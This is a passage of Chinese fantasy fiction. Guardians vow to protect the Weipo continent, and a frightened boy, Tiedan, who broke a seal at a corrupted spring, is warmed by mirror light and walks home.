这片土地是他们一个一个亲手踩过的。循化岛的礁石上有耔煦的脚印,凛锋的城墙上留过铮石的血,滨蓝的江底沉着安云的水纹,瓦鲁的废墟里还有辞焰的体温。承泽丈量过这里的每一寸地脉,悦然给这里的每一条河每一座山都起了名字——歪脖子沟,大脚丫湖,磕膝盖岭。这些名字现在刻在石头上,长在土地里,比天界的任何一块碑都结实。 他们可以回去。他们没有回去。 蔚魄大陆,现在是他们共同的守护。 悦然握紧太初鉴心镜,迈出了第一步。 她迈步的时候,镜光微微荡了一下。 —— 浊泉边上,铁蛋还坐在那里。鼻血不流了,脸白得像纸。他抱着膝盖,缩成一团,看着泉眼里翻涌的黑气,一句话也说不出来。 他试着回想自己是怎么走到树前面的。想不起来。他试着回想那个声音说了什么。只记得甜味。只记得他伸了手。只记得纸从树干上剥下来的时候,声音很轻,比撕开一片叶子还轻。 他低头看着自己的手。手心是干净的。没有纸,没有糖,没有血。什么痕迹都没有。好像他什么都没做过。但泉在翻,天在暗,脚底板凉透了。他做过了。他知道他做过了。 他不明白。他只是想躲一躲。弟弟赖他,爹打他,娘不看他。他跑上山,听见声音,声音对他好,他撕了一张纸。中间没有别的。没有他想伤害谁,没有他想破坏什么。他只是想躲一躲。 泉翻的声音太大了,把别的声音都盖住了。 暖白色的镜光从他身上一扫而过。很轻,很快,像有人在他后脑勺上摸了一把。 铁蛋的脚底板暖了。 从骨头缝里往外暖。他低头看着自己的脚,脚趾头红红的,像刚从熔炉边烤过火。他把手贴在脚面上,手心是烫的,脚底是暖的。 他蹲了一会儿,站起来,腿不软了。他回头看了浊泉最后一眼——黑气还在翻涌,天还是暗的。 他转身,往山下走。 走了几步,他停了一下。低头看着自己空空的手心。纸碎了,风散了,什么都没了。 他把手心翻过来,攥成拳头,塞进袖子里。 然后他继续走了。他不知道什么叫自反而缩。他只是往山下走。